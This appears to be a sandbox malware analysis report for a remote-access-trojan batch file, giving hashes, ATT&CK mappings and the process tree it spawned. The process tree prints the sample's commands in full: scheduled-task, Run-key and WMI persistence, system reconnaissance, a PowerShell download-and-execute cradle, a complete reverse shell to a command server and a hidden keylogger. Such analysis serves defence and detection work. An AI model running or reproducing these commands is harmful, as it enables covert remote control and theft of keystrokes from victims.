518124155b5186d9425d4192852cac07a6e71fd4b42a437c91e895223a9cf223

Analysis

max time kernel
149s
max time network
96s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 02:13

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General

Target
rat_build_32592_014155.bat
Size 4KB
Sample260529-cnes2aa19t
SHA256 518124155b5186d9425d4192852cac07a6e71fd4b42a437c91e895223a9cf223
MD5 4b32e9ffcac5bcb10499093dd324fcd8
SHA1 06b252d7b9ff3494a6ef6bd2dcc258d96306fb6d
SHA512 1e7665ed07d816bdbe4cc09ca72772582884849d3fb0fc794441c3f49c16f4a64dbab43e2c26e62947c8a0ff322c7adf3cf7a2500cec121cfdbc84558fa84ff1
SSDEEP 96:eI3LWzNUoMkVu+TlVqFCa56lEcecePV9f1gZ7DiFgZk8mvlo1SO:enzNUV2qj+pYf1giFgkHlnO
TLSH
T130A1E81753A7A12086F42A08DE333C48576CD9FB1301CAAEBA88CCD45A4DB43A62D5E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_32592.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3960	powershell.exe
5036	powershell.exe
4508	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_32592 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_32592.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4528	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2348	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3844	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3960	powershell.exe
3960	powershell.exe
5036	powershell.exe
5036	powershell.exe
4508	powershell.exe
4508	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	692	WMIC.exe
Token: SeSecurityPrivilege	692	WMIC.exe
Token: SeTakeOwnershipPrivilege	692	WMIC.exe
Token: SeLoadDriverPrivilege	692	WMIC.exe
Token: SeSystemProfilePrivilege	692	WMIC.exe
Token: SeSystemtimePrivilege	692	WMIC.exe
Token: SeProfSingleProcessPrivilege	692	WMIC.exe
Token: SeIncBasePriorityPrivilege	692	WMIC.exe
Token: SeCreatePagefilePrivilege	692	WMIC.exe
Token: SeBackupPrivilege	692	WMIC.exe
Token: SeRestorePrivilege	692	WMIC.exe
Token: SeShutdownPrivilege	692	WMIC.exe
Token: SeDebugPrivilege	692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	692	WMIC.exe
Token: SeRemoteShutdownPrivilege	692	WMIC.exe
Token: SeUndockPrivilege	692	WMIC.exe
Token: SeManageVolumePrivilege	692	WMIC.exe
Token: 33	692	WMIC.exe
Token: 34	692	WMIC.exe
Token: 35	692	WMIC.exe
Token: 36	692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	692	WMIC.exe
Token: SeSecurityPrivilege	692	WMIC.exe
Token: SeTakeOwnershipPrivilege	692	WMIC.exe
Token: SeLoadDriverPrivilege	692	WMIC.exe
Token: SeSystemProfilePrivilege	692	WMIC.exe
Token: SeSystemtimePrivilege	692	WMIC.exe
Token: SeProfSingleProcessPrivilege	692	WMIC.exe
Token: SeIncBasePriorityPrivilege	692	WMIC.exe
Token: SeCreatePagefilePrivilege	692	WMIC.exe
Token: SeBackupPrivilege	692	WMIC.exe
Token: SeRestorePrivilege	692	WMIC.exe
Token: SeShutdownPrivilege	692	WMIC.exe
Token: SeDebugPrivilege	692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	692	WMIC.exe
Token: SeRemoteShutdownPrivilege	692	WMIC.exe
Token: SeUndockPrivilege	692	WMIC.exe
Token: SeManageVolumePrivilege	692	WMIC.exe
Token: 33	692	WMIC.exe
Token: 34	692	WMIC.exe
Token: 35	692	WMIC.exe
Token: 36	692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3952	WMIC.exe
Token: SeSecurityPrivilege	3952	WMIC.exe
Token: SeTakeOwnershipPrivilege	3952	WMIC.exe
Token: SeLoadDriverPrivilege	3952	WMIC.exe
Token: SeSystemProfilePrivilege	3952	WMIC.exe
Token: SeSystemtimePrivilege	3952	WMIC.exe
Token: SeProfSingleProcessPrivilege	3952	WMIC.exe
Token: SeIncBasePriorityPrivilege	3952	WMIC.exe
Token: SeCreatePagefilePrivilege	3952	WMIC.exe
Token: SeBackupPrivilege	3952	WMIC.exe
Token: SeRestorePrivilege	3952	WMIC.exe
Token: SeShutdownPrivilege	3952	WMIC.exe
Token: SeDebugPrivilege	3952	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3952	WMIC.exe
Token: SeRemoteShutdownPrivilege	3952	WMIC.exe
Token: SeUndockPrivilege	3952	WMIC.exe
Token: SeManageVolumePrivilege	3952	WMIC.exe
Token: 33	3952	WMIC.exe
Token: 34	3952	WMIC.exe
Token: 35	3952	WMIC.exe
Token: 36	3952	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3952	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 3724	4904	cmd.exe	80
PID 4904 wrote to memory of 3844	4904	cmd.exe	81
PID 4904 wrote to memory of 692	4904	cmd.exe	82
PID 4904 wrote to memory of 3952	4904	cmd.exe	83
PID 4904 wrote to memory of 1740	4904	cmd.exe	84
PID 4904 wrote to memory of 2348	4904	cmd.exe	85
PID 4904 wrote to memory of 4528	4904	cmd.exe	89
PID 4904 wrote to memory of 3960	4904	cmd.exe	90
PID 4904 wrote to memory of 5036	4904	cmd.exe	91
PID 4904 wrote to memory of 4508	4904	cmd.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_32592_014155.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_32592" /tr "C:\Users\Admin\AppData\Local\Temp\_32592.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3724
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_32592" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_32592.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3844
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_32592", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_32592", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_32592.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3952
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_32592.txt
  2⤵
  PID:1740
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2348
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_32592.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 72dc571a48aba065da7f9efd53f49e537f0d99c0d828be1b5385b3738c1ca12b
MD5 17ad316935110aabd7dfe181d71b0c7e
SHA1 83e51248697f936d8e29043026ceafa1462690ec
SHA512 3b2a8813b8b350dc782c4533de1486439e0cd5d3f9befff324bf8f7563742227732efc23c5754096717071544f1a96ee931595aeb1e9dfaa0ebe72cca6d1eb17
TLSH
T1D5115733B79CC1B5C8D9167A1089AD01B2B6C3CB049FDECB7A84C518E57F589DB641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_azbgtr0t.2jj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azbgtr0t.2jj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3960-8-0x00000228537F0000-0x0000022853812000-memory.dmp

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